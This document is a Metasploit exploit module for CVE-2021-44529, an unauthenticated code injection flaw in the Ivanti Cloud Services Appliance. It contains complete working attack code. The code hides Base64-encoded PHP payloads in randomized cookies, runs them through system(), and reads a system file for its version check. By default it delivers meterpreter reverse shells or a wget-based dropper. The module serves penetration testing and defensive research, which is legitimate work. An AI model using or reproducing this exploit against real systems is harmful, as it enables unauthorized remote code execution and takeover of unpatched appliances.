This Metasploit module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA) for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the Cloud Services Appliance before 4.6.0-512 allows an unauthenticated user to execute arbitrary code with limited permissions. Successful exploitation results in command execution as the nobody user.
advisories | CVE-2021-44529
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)
for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the
Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to
execute arbitrary code with limited permissions. Successful exploitation results
in command execution as the `nobody` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Jakub Kramarz', # Discovery
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor
],
'References' => [
['CVE', '2021-44529'],
['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'],
['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'],
['EDB', '50833'],
['PACKETSTORM', '166383']
],
'DisclosureDate' => '2021-12-02',
'Platform' => ['unix', 'linux', 'php'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http'
}
}
],
[
'PHP Command',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'printf', 'echo'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_http'
}
}
]
],
'Payload' => {
'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things.
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end
# Randomize the cookie pairs for the request.
def randomize_cookie(payload)
# Number of cookie pairs should be at least 4, and the first cookie pair should
# always have the value 'ab'. Note that the Nth cookie in the request, where
# N=no_of_cookies-2, should contain the payload.
#
# example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=;
# example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=;
no_of_cookies = rand(4..8)
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
payload_cookie_number = (no_of_cookies - 2)
random_cookie = "#{cookie_name}=ab;"
for cookie_no in 2..no_of_cookies do
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
if cookie_no == payload_cookie_number
random_cookie << "#{cookie_name}=#{payload};"
else
random_cookie << "#{cookie_name}=;"
end
end
return random_cookie
end
def check_vuln
# check RCE by grabbing CSA version banner stored on /etc/LDBUILD
payload = Base64.strict_encode64('readfile("/etc/LDBUILD");')
cookie_payload = randomize_cookie(payload)
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
'cookie' => cookie_payload.to_s
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
return nil
end
def execute_command(cmd, _opts = {})
case target['Type']
when :unix_cmd
payload = Base64.strict_encode64("system("#{cmd}");")
when :php_cmd
payload = Base64.strict_encode64(cmd.to_s)
when :linux_dropper
payload = Base64.strict_encode64("system("#{cmd}");")
end
cookie_payload = randomize_cookie(payload)
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
'cookie' => cookie_payload.to_s
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
end
def check
print_status("Checking if #{peer} can be exploited.")
res = check_vuln
return CheckCode::Unknown('No response received from the target.') unless res
return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/
begin
parsed_html = Nokogiri::HTML.parse(res.body)
rescue Nokogiri::SyntaxError => e
return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")
end
csa_version = parsed_html.at_css('c123')
if csa_version&.text&.blank?
CheckCode::Vulnerable('Could not retrieve version.')
else
CheckCode::Vulnerable("Version: #{csa_version.text}")
end
end
def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :php_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager(linemax: 262144)
end
end
end
